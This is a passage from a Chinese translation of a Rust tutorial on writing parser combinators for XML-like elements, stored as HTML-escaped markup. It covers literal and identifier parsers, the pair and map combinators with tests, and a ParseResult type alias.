&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, Element), &amp;amp;str&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们使用字符串切片(&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;)，是因为他是指向字符串的有效指针。我们可以进一步对其进行切片，通过切掉已解析的部分来消耗输入，并将余下的输入和结果一起返回。&lt;&#x2F;p&gt;
&lt;p&gt;可能使用&lt;code&gt;&amp;amp;[u8]&lt;&#x2F;code&gt;类型作为输入(一串字节数组，如果将输入的字节限制在&lt;code&gt;ASCII&lt;&#x2F;code&gt;范围内，则&lt;code&gt;u8&lt;&#x2F;code&gt;和&lt;code&gt;char&lt;&#x2F;code&gt;相对应)会看起来更加干净，尤其是字符串切片(&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;)的行为和大多数切片的行为有所不同。你不能够通过一个数字来检索它们，你必须使用一个分片&lt;code&gt;input[0..1]&lt;&#x2F;code&gt;。另一方面，它们对于解析字符串有很多有用的函数，而字节切片没有。&lt;&#x2F;p&gt;
&lt;p&gt;事实上，我们通常都需要依赖这些函数而不是像&lt;code&gt;input[0]&lt;&#x2F;code&gt;这样对他进行索引。因为 Rust 的字符串是&lt;code&gt;UTF-8&lt;&#x2F;code&gt;格式的，这些索引并不总是对应于单个字符，所以对于我们来说，让标准库为我们处理这些问题更好。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;our-first-parser&quot;&gt;Our First Parser&lt;&#x2F;h2&gt;
&lt;p&gt;让我们来一起写一个解析器，只需要关注字符串中的第一个字符并判断它是否是字母&lt;code&gt;a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn the_letter_a(input: &amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, ()), &amp;amp;str&amp;gt; {
  match input.chars().next() {
      Some(&amp;#x27;a&amp;#x27;) =&amp;gt; Ok((&amp;amp;input[&amp;#x27;a&amp;#x27;.len_utf8()..], ())),
      _ =&amp;gt; Err(input),
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，我们来看一下输入和输入和输出的类型：和上面讨论的一样，我们让字符串切片作为输入，并返回携带&lt;code&gt;(&amp;amp;str, ())&lt;&#x2F;code&gt;元组或者错误类型&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;的&lt;code&gt;Result&lt;&#x2F;code&gt;。&lt;code&gt;(&amp;amp;str, ())&lt;&#x2F;code&gt;元组比较有趣：正如我们所说的，我们想要返回一个包含下一次待解析的输入和输出。&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;是下一次输入，解析返回的结果仅仅是一个单元类型&lt;code&gt;()&lt;&#x2F;code&gt;。因为如果解析成功，只可能有一种结果(我们找到了字母&lt;code&gt;a&lt;&#x2F;code&gt;)，但是这里我们并不需要返回字母&lt;code&gt;a&lt;&#x2F;code&gt;，我们只需要告诉调用者我们成功发现了字母&lt;code&gt;a&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;p&gt;然后，让我们看下解析器本身的代码。我们从提取输入的第一个字符开始：&lt;code&gt;input.chars().next()&lt;&#x2F;code&gt;。依靠标准库来避免带来的 Unicode 编码问题并不是在开玩笑 - 我们要求它为字符串的字符提供一个&lt;code&gt;chars()&lt;&#x2F;code&gt;迭代器，然后从中取出第一项。该项是封装在&lt;code&gt;Option&amp;lt;char&amp;gt;&lt;&#x2F;code&gt;中的&lt;code&gt;char&lt;&#x2F;code&gt;类型，因此是&lt;code&gt;Option&amp;lt;char&amp;gt;&lt;&#x2F;code&gt;，如果它的值为&lt;code&gt;None&lt;&#x2F;code&gt;则表示我们尝试在空字符串中提取一个&lt;code&gt;char&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;更糟的是，&lt;code&gt;char&lt;&#x2F;code&gt;可能并不是你想的那样是 Unicode 字符。它很可能就是 Unicode 所说的“&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.unicode.org&#x2F;glossary&#x2F;#grapheme_cluster&quot;&gt;字素簇&lt;&#x2F;a&gt;”，它可以由几个&lt;code&gt;char&lt;&#x2F;code&gt;组成，实际上代表“&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.unicode.org&#x2F;glossary&#x2F;#unicode_scalar_value&quot;&gt;标量值&lt;&#x2F;a&gt;”，大约比字素簇低两级。但是这种方式太疯狂了，出于我们(讲解)的目的，我们可能根本不会看到除 ASCII 之外的字符集，所以这种情况我们不做讨论。&lt;&#x2F;p&gt;
&lt;p&gt;我们模式匹配上了&lt;code&gt;Some(&#x27;a&#x27;)&lt;&#x2F;code&gt;，这是我们正在寻找的特定结果，如果匹配上，则返回结果&lt;code&gt;Ok((&amp;amp;input[&#x27;a&#x27;.len_utf8()..], ()))&lt;&#x2F;code&gt;。也就是说，我们在字符串切片中删除了刚刚解析的&lt;code&gt;&#x27;a&#x27;&lt;&#x2F;code&gt;并返回剩余部分以及我们的解析结果(一个空的&lt;code&gt;()&lt;&#x2F;code&gt;)。考虑到 Unicode 怪物，我们在切片之前向标准库询问了&lt;code&gt;&#x27;a&#x27;&lt;&#x2F;code&gt;在 UTF-8 编码中的长度，但是，请永远不要假设 Unicode 怪物。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们匹配到其他的&lt;code&gt;Some(char)&lt;&#x2F;code&gt;或者&lt;code&gt;None&lt;&#x2F;code&gt;，我们将返回一个错误。你可能还记得，我们的错误类型目前还是解析失败时的字符串切片，也就是作为&lt;code&gt;input&lt;&#x2F;code&gt;传入的字符串切片。它不以&lt;code&gt;&#x27;a&#x27;&lt;&#x2F;code&gt;开头，因此这是我们的错误。但这不是一个大的错误，但是至少比“其他地方出了问题”要好一些。&lt;&#x2F;p&gt;
&lt;p&gt;虽然我们不需要使用此解析器解析 XML，但是我们要做的第一件事就是查找&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;，因此我们可能需要一些相似的东西。我们还需要专门解析&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;，&lt;code&gt;=&lt;&#x2F;code&gt;，因此我们可以创建一个函数为我们想要的字符构建一个解析器？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-parser-builder&quot;&gt;A Parser Builder&lt;&#x2F;h2&gt;
&lt;p&gt;我们想象一下：编写一个函数，可以为任意长度的静态字符串(而不仅仅是单个字符)生成一个解析器。这种方式甚至更容易，因为一个字符串切片已经是一个合法的 UTF-8 字符串切片，我们不需要再去考虑 Unicode 怪物。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn match_literal(expected: &amp;amp;&amp;#x27;static str)
    -&amp;gt; impl Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, ()), &amp;amp;str&amp;gt;
{
    move |input| match input.get(0..expected.len()) {
        Some(next) if next == expected =&amp;gt; {
            Ok((&amp;amp;input[expected.len()..], ()))
        }
        _ =&amp;gt; Err(input),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个函数看起来有点不同。&lt;&#x2F;p&gt;
&lt;p&gt;我们先看下类型。我们的函数看起来不再像是一个解析器，它将我们期望的字符串作为参数，并返回一个看似解析器的东西。它是一个返回函数的函数 - 换言之，是一个高阶函数。基本上，我们在编写一个函数，该函数可以构建一个类似之前的&lt;code&gt;the_letter_a&lt;&#x2F;code&gt;函数。&lt;&#x2F;p&gt;
&lt;p&gt;因此，我们不是在函数体中完成工作，而是返回一个闭包用来处理这些事情，该闭包与我们之前解析器的类型签名相匹配。&lt;&#x2F;p&gt;
&lt;p&gt;模式匹配看起来是一样的，除了我们不能直接匹配字符串字面量，因为我们不知道它具体是什么，所以我们使用匹配条件&lt;code&gt;if next == expected&lt;&#x2F;code&gt;代替。否则它和以前完全一样，只是在闭包的主体内。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;testing-our-parser&quot;&gt;Testing Our Parser&lt;&#x2F;h2&gt;
&lt;p&gt;我们来为它编写测试用例，确保这个函数没有问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn literal_parser() {
    let parse_joe = match_literal(&amp;quot;Hello Joe!&amp;quot;);
    assert_eq!(
        Ok((&amp;quot;&amp;quot;, ())),
        parse_joe(&amp;quot;Hello Joe!&amp;quot;)
    );
    assert_eq!(
        Ok((&amp;quot; Hello Robert!&amp;quot;, ())),
        parse_joe(&amp;quot;Hello Joe! Hello Robert!&amp;quot;)
    );
    assert_eq!(
        Err(&amp;quot;Hello Mike!&amp;quot;),
        parse_joe(&amp;quot;Hello Mike!&amp;quot;)
    );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，我们构建了一个解析器：&lt;code&gt;match_literal(&quot;Hello Joe!&quot;)&lt;&#x2F;code&gt;。它应该消耗字符串&lt;code&gt;&quot;Hello Joe!&quot;&lt;&#x2F;code&gt;并返回字符串的剩余部分，或者失败并返回整个字符串。&lt;&#x2F;p&gt;
&lt;p&gt;在第一种情况下，我们为它提供了它期望的确切字符串，并看到它返回了一个空字符串以及&lt;code&gt;()&lt;&#x2F;code&gt;值，这表示“我们解析了期望的字符串，并且不需要将它真的返回”。&lt;&#x2F;p&gt;
&lt;p&gt;在第二种情况下，我们提供了字符串&lt;code&gt;&quot;Hello Joe! Hello Robert!&quot;&lt;&#x2F;code&gt;，并且我们看到它确实消耗了字符串&lt;code&gt;&quot;Hello Joe!&quot;&lt;&#x2F;code&gt;并且返回了输入字符串的剩余部分：&lt;code&gt;&quot;Hello Robert!&quot;&lt;&#x2F;code&gt;(包括空格)。&lt;&#x2F;p&gt;
&lt;p&gt;在第三种情况下，我们提供了一个不正确的输入&lt;code&gt;&quot;Hello Mike!&quot;&lt;&#x2F;code&gt;，并注意到该函数拒绝了这个输入并返回了一个错误。不是说 Mike 作为一般规则是不正确的，而是它不是此解析器所需要的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exercises&quot;&gt;Exercises&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;你能在标准库中找到一个关于&lt;code&gt;str&lt;&#x2F;code&gt;类型的方法，让你编写&lt;code&gt;match_literal()&lt;&#x2F;code&gt;时不必做麻烦的&lt;code&gt;get&lt;&#x2F;code&gt;索引吗？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;a-parser-for-something-less-specific&quot;&gt;A Parser For Something Less Specific&lt;&#x2F;h2&gt;
&lt;p&gt;我们可以继续解析&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;，&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;，&lt;code&gt;=&lt;&#x2F;code&gt;以及&lt;code&gt;&amp;lt;&#x2F;&lt;&#x2F;code&gt;和&lt;code&gt;&#x2F;&amp;gt;&lt;&#x2F;code&gt;。我们几乎已经完成了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;之后需要识别的部分是元素名称。我们不能通过简单的字符串比较做到这一点。但是我们可以使用正则表达式。&lt;&#x2F;p&gt;
&lt;p&gt;但是我们需要克制一下自己，这将是一个很容易在简单代码中复用的正则表达式，我们不需要为此引入&lt;code&gt;regex&lt;&#x2F;code&gt;库。让我们尝试一下是否可以只使用 Rust 标准库来编写自己的解析器。&lt;&#x2F;p&gt;
&lt;p&gt;回顾元素名称标志符的规则：首位是字母，后跟零个或多个字母，数字或&lt;code&gt;-&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn identifier(input: &amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, String), &amp;amp;str&amp;gt; {
    let mut matched = String::new();
    let mut chars = input.chars();

    match chars.next() {
        Some(next) if next.is_alphabetic() =&amp;gt; matched.push(next),
        _ =&amp;gt; return Err(input),
    }

    while let Some(next) = chars.next() {
        if next.is_alphanumeric() || next == &amp;#x27;-&amp;#x27; {
            matched.push(next);
        } else {
            break;
        }
    }

    let next_index = matched.len();
    Ok((&amp;amp;input[next_index..], matched))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;与往常一样，我们首先查看类型。这次我们不是编写函数来构建解析器，只需要编写解析器本身，就像第一次一样。这里显著的区别是，我们返回元组中的&lt;code&gt;String&lt;&#x2F;code&gt;和剩余的输入，而不是&lt;code&gt;()&lt;&#x2F;code&gt;的结果类型。这个&lt;code&gt;String&lt;&#x2F;code&gt;将包含我们刚刚解析的标志符。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到这一点，我们首先创建一个空字符串并将称之为&lt;code&gt;matched&lt;&#x2F;code&gt;。它是我们将要返回的结果值。我们在&lt;code&gt;input&lt;&#x2F;code&gt;中获取一个字符的迭代器，我们将对其进行拆解。&lt;&#x2F;p&gt;
&lt;p&gt;第一步是查看前面是否有字母。我们从迭代器中取出第一个字符并检查它是否是一个字母：&lt;code&gt;next.is_alphabetic()&lt;&#x2F;code&gt;。Rust 标准库当然是帮我们来处理 Unicode 的 - 这将匹配任何字母表中的字母，而不仅仅是 ASCII。如果它是一个字母，我们将它放入我们的&lt;code&gt;matched&lt;&#x2F;code&gt;字符串中，如果不是，显然我们不是在查看元素标志符，所以我们立即返回一个错误。&lt;&#x2F;p&gt;
&lt;p&gt;第二步，我们不断从迭代器中取出字符，将它们放入我们正在构建的字符串中，直到我们找到一个既不是&lt;code&gt;is_alphanumeric()&lt;&#x2F;code&gt;(就像是&lt;code&gt;is_alphabetic()&lt;&#x2F;code&gt;，它只是不能匹配字母表中的任何数字)也不是破折号&lt;code&gt;&#x27;-&#x27;&lt;&#x2F;code&gt;的字符。&lt;&#x2F;p&gt;
&lt;p&gt;当我们第一次看到不符合这些条件的字符时，意味着我们已经完成了解析，所以我们跳出循环并返回我们构建的&lt;code&gt;String&lt;&#x2F;code&gt;，记住去掉我们在&lt;code&gt;input&lt;&#x2F;code&gt;中消耗的字符。如果迭代器用完了字符，意味着我们到达了&lt;code&gt;input&lt;&#x2F;code&gt;的末尾。&lt;&#x2F;p&gt;
&lt;p&gt;值得注意的是，当我们看到不是字母数字 (alphanumeric) 或破折号(&lt;code&gt;-&lt;&#x2F;code&gt;)的内容时，我们不会返回错误。一旦我们匹配了第一个字母，我们就已经有足够的东西来创建一个有效的标志符。而且在我们解析完标志符以后，输入字符串中有更多待解析的字符是非常正常的，所以我们只是停止解析并返回我们的结果，只有当我们找不到第一个字母时，我们才真正的返回错误，因为在这种情况下，肯定没有标志符。&lt;&#x2F;p&gt;
&lt;p&gt;还记得我们要将 XML 文档解析成的&lt;code&gt;Element&lt;&#x2F;code&gt;结构吗？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Element {
    name: String,
    attributes: Vec&amp;lt;(String, String)&amp;gt;,
    children: Vec&amp;lt;Element&amp;gt;,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们实际上只是完成了解析器的第一部分，&lt;code&gt;name&lt;&#x2F;code&gt;字段。我们解析器返回的字符串就在那里。它也是解析每个&lt;code&gt;attribute&lt;&#x2F;code&gt;第一部分需要的解析器。&lt;&#x2F;p&gt;
&lt;p&gt;让我们对其进行测试。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn identifier_parser() {
    assert_eq!(
        Ok((&amp;quot;&amp;quot;, &amp;quot;i-am-an-identifier&amp;quot;.to_string())),
        identifier(&amp;quot;i-am-an-identifier&amp;quot;)
    );
    assert_eq!(
        Ok((&amp;quot; entirely an identifier&amp;quot;, &amp;quot;not&amp;quot;.to_string())),
        identifier(&amp;quot;not entirely an identifier&amp;quot;)
    );
    assert_eq!(
        Err(&amp;quot;!not at all an identifier&amp;quot;),
        identifier(&amp;quot;!not at all an identifier&amp;quot;)
    );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们可以在第一种情况中看到，字符串&lt;code&gt;&quot;i-am-an-identifier&quot;&lt;&#x2F;code&gt;被完整解析，只留下空的字符串。在第二种情况中，解析器返回&lt;code&gt;&quot;not&quot;&lt;&#x2F;code&gt;作为标志符，并且字符串的剩余部分作为剩余的输入返回。在第三种情况中，解析彻底 (outright) 失败，因为它找到的第一个字符不是字母。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;combinators&quot;&gt;Combinators&lt;&#x2F;h2&gt;
&lt;p&gt;现在，我们已经可以解析&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;，以及之后的标志符了，但是我们需要同时将它们进行解析，以便在这里可以取得进展。因此接下来将编写另一个解析器的构造函数，它将两个解析器作为输入并返回一个新的解析器，并按顺序解析它们。换言之，它是一个解析器组合子，因为它将两个解析器组合成一个新的解析器。让我们看看我们是否能够做到这一点。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn pair&amp;lt;P1, P2, R1, R2&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, (R1, R2)), &amp;amp;str&amp;gt;
where
    P1: Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, R1), &amp;amp;str&amp;gt;,
    P2: Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, R2), &amp;amp;str&amp;gt;,
{
    move |input| match parser1(input) {
        Ok((next_input, result1)) =&amp;gt; match parser2(next_input) {
            Ok((final_input, result2)) =&amp;gt; Ok((final_input, (result1, result2))),
            Err(err) =&amp;gt; Err(err),
        },
        Err(err) =&amp;gt; Err(err),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里有点复杂，但是你知道该怎么做：从查看类型开始。&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们有四种类型变量：&lt;code&gt;P1&lt;&#x2F;code&gt;，&lt;code&gt;P2&lt;&#x2F;code&gt;，&lt;code&gt;R1&lt;&#x2F;code&gt;以及&lt;code&gt;R2&lt;&#x2F;code&gt;。这是 Parser1，Parser2，Result1，Result2 的缩写。&lt;code&gt;P1&lt;&#x2F;code&gt;，&lt;code&gt;P2&lt;&#x2F;code&gt;是函数，你会注意到它们遵循解析器函数的既定模式 (established pattern)：就像返回值，它们将&lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;作为输入并返回一个&lt;code&gt;Result&lt;&#x2F;code&gt;类型，该&lt;code&gt;Result&lt;&#x2F;code&gt;类型可能是一个包含剩余输入以及解析结果的二元组，或者是一个错误。&lt;&#x2F;p&gt;
&lt;p&gt;但是查看每个函数的结果类型：&lt;code&gt;P1&lt;&#x2F;code&gt;如果解析成功，将会产生&lt;code&gt;R1&lt;&#x2F;code&gt;，&lt;code&gt;P2&lt;&#x2F;code&gt;同理会产生&lt;code&gt;R2&lt;&#x2F;code&gt;。最终解析器的结果 - 从我们的函数返回的结果 - 是&lt;code&gt;(R1, R2)&lt;&#x2F;code&gt;。因此该解析器的工作是先在输入上运行解析器&lt;code&gt;P1&lt;&#x2F;code&gt;，然后在&lt;code&gt;P1&lt;&#x2F;code&gt;返回的剩余输入上运行&lt;code&gt;P2&lt;&#x2F;code&gt;，如果这两个解析器都执行成功，则我们将两个解析器返回的结果组合进元组&lt;code&gt;(R1, R2)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;查看代码，我们看到这也正是它所做得。我们首先在输入上运行第一个解析器，然后是第二个解析器，接着将两个结果组合成一个元组并返回。如果这些解析器中的任何一个执行失败，我们会立即返回它给出的错误。&lt;&#x2F;p&gt;
&lt;p&gt;这样，我们应该能够结合之前的两个解析器&lt;code&gt;match_literal&lt;&#x2F;code&gt;和&lt;code&gt;identifier&lt;&#x2F;code&gt;来实际解析 XML 标签的第一部分(``)。让我们编写测试用例看它是否正确。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn pair_combinator() {
    let tag_opener = pair(match_literal(&amp;quot;&amp;lt;&amp;quot;), identifier);
    assert_eq!(
        Ok((&amp;quot;&amp;#x2F;&amp;gt;&amp;quot;, ((), &amp;quot;my-first-element&amp;quot;.to_string()))),
        tag_opener(&amp;quot;&amp;lt;my-first-element&amp;#x2F;&amp;gt;&amp;quot;)
    );
    assert_eq!(Err(&amp;quot;oops&amp;quot;), tag_opener(&amp;quot;oops&amp;quot;));
    assert_eq!(Err(&amp;quot;!oops&amp;quot;), tag_opener(&amp;quot;&amp;lt;!oops&amp;quot;));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它看起来成功了！但是看下结果类型：&lt;code&gt;((), String)&lt;&#x2F;code&gt;。很明显，我们只关心右边的值 - &lt;code&gt;String&lt;&#x2F;code&gt;。这种情况相当普遍 - 我们的一些解析器只匹配输入中的模式但不产生值，因此可以安全的忽略他们的输出。为了适应这种模式，我们将使用&lt;code&gt;pair&lt;&#x2F;code&gt;组合子编写另外两个组合子&lt;code&gt;left&lt;&#x2F;code&gt;，它丢弃第一个解析器的结果，只返回第二个，以及它的相反数&lt;code&gt;right&lt;&#x2F;code&gt;，我们想在上面的测试中使用&lt;code&gt;right&lt;&#x2F;code&gt;而不是&lt;code&gt;pair&lt;&#x2F;code&gt; - 它可以丢弃二元组左边的&lt;code&gt;()&lt;&#x2F;code&gt;只保留右边的&lt;code&gt;String&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enter-the-functor&quot;&gt;Enter The Functor&lt;&#x2F;h2&gt;
&lt;p&gt;在我们深入讨论之前，先介绍另一个组合子：&lt;code&gt;map&lt;&#x2F;code&gt;，它将使编写这两个解析器更加简单。&lt;&#x2F;p&gt;
&lt;p&gt;这个组合子有一个目的：改变结果的类型。例如，假设你有一个解析器返回&lt;code&gt;((), String)&lt;&#x2F;code&gt;，但是你希望能够将其返回值类型修改为&lt;code&gt;String&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;为了做到这点，我们传入一个函数，该函数知道如何将原始类型转换成新的类型。在我们的示例中，该函数十分简单：&lt;code&gt;|(_left, right)| right&lt;&#x2F;code&gt;。它的一般格式就像&lt;code&gt;Fn(A) -&amp;gt; B&lt;&#x2F;code&gt;，其中&lt;code&gt;A&lt;&#x2F;code&gt;是解析器的原始类型，&lt;code&gt;B&lt;&#x2F;code&gt;是期望的新类型。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn map&amp;lt;P, F, A, B&amp;gt;(parser: P, map_fn: F) -&amp;gt; impl Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, B), &amp;amp;str&amp;gt;
where
    P: Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, A), &amp;amp;str&amp;gt;,
    F: Fn(A) -&amp;gt; B,
{
    move |input| match parser(input) {
        Ok((next_input, result)) =&amp;gt; Ok((next_input, map_fn(result))),
        Err(err) =&amp;gt; Err(err),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些类型说明什么？&lt;code&gt;P&lt;&#x2F;code&gt;是我们的解析器。它在成功时将返回&lt;code&gt;A&lt;&#x2F;code&gt;。&lt;code&gt;F&lt;&#x2F;code&gt;是我们将用于将&lt;code&gt;P&lt;&#x2F;code&gt;映射到我们的返回值中的函数，它看起来和&lt;code&gt;P&lt;&#x2F;code&gt;很像，但是它的返回值类型是&lt;code&gt;B&lt;&#x2F;code&gt;而不是&lt;code&gt;A&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在代码中，我们运行&lt;code&gt;parser(input)&lt;&#x2F;code&gt;，如果执行成功，我们将拿到&lt;code&gt;result&lt;&#x2F;code&gt;并在其上运行函数&lt;code&gt;map_fn(result)&lt;&#x2F;code&gt;，然后将&lt;code&gt;A&lt;&#x2F;code&gt;转换成&lt;code&gt;B&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，我们可以稍微放纵 (indulge) 一下自己并缩短一下这个函数，因为&lt;code&gt;map&lt;&#x2F;code&gt;实际上是处理&lt;code&gt;Result&lt;&#x2F;code&gt;的一种常见模式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn map&amp;lt;P, F, A, B&amp;gt;(parser: P, map_fn: F) -&amp;gt; impl Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, B), &amp;amp;str&amp;gt;
where
    P: Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, A), &amp;amp;str&amp;gt;,
    F: Fn(A) -&amp;gt; B,
{
    move |input|
        parser(input)
            .map(|(next_input, result)| (next_input, map_fn(result)))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种模式在 Haskell 以及范畴论 (category theory) 中被称为”函子 (functor)“。如果你在其中有一个类型为&lt;code&gt;A&lt;&#x2F;code&gt;的东西，并且有一个可用的&lt;code&gt;map&lt;&#x2F;code&gt;函数，你可以将某个函数从&lt;code&gt;A&lt;&#x2F;code&gt;传递到&lt;code&gt;B&lt;&#x2F;code&gt;以将其转换成相同类型的东西，但是在其中使用类型&lt;code&gt;B&lt;&#x2F;code&gt;，这就是一个函子。你可以在 Rust 中很多地方见到它，如在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;option&#x2F;enum.Option.html#method.map&quot;&gt;Option&lt;&#x2F;a&gt; 中，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;result&#x2F;enum.Result.html#method.map&quot;&gt;Result&lt;&#x2F;a&gt; 中，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;iter&#x2F;trait.Iterator.html#method.map&quot;&gt;Iterator&lt;&#x2F;a&gt; 甚至在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;futures&#x2F;0.1.26&#x2F;futures&#x2F;future&#x2F;trait.Future.html#method.map&quot;&gt;Future&lt;&#x2F;a&gt; 中，但它没有被明确命名。因为在 Rust 的类型系统中，你不能真正的将函子表示为泛化的东西，因为它缺乏更高级的类型，但那是另一回事了，所以我们只需关注这些函子，寻找&lt;code&gt;map&lt;&#x2F;code&gt;函数即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;time-for-a-trait&quot;&gt;Time For A Trait&lt;&#x2F;h2&gt;
&lt;p&gt;你可能已经注意到，我们不断重复解析器类型签名的格式：&lt;code&gt;Fn(&amp;amp;str) -&amp;gt; Result&amp;lt;(&amp;amp;str, Output), &amp;amp;str&amp;gt;&lt;&#x2F;code&gt;。你可能已经厌倦了像我写的那样完整的阅读它，所以我认为是时候引入一个 trait，让这些更具有可读性，还可以为解析器添加一些扩展性。&lt;&#x2F;p&gt;
&lt;p&gt;但是首先，我们先为一直使用的返回值类型创建一个类型别名：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;type ParseResult&amp;lt;&amp;#x27;a, Output&amp;gt; = Result&amp;lt;(&amp;amp;&amp;#x27;a str, Output), &amp;amp;&amp;#x27;a str&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，我们可以不用一直输入那串冗长的类型，可以直接使用&lt;code&gt;ParseResult&amp;lt;String&amp;gt;&lt;&#x2F;code&gt;。我们可以在这里添加一个生命周期，因为类型的声明需要它，但是大多数时候 Rust 编译器可以帮你推断。通常，可以尝试不添加生命周期，并观察 rustc 是否报错，如果报错则添加生命周期。&lt;&#x2F;p&gt;
&lt;p&gt;在此例中，&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;特指&lt;code&gt;input&lt;&#x2F;code&gt;的生命周期。&lt;&#x2F;p&gt;
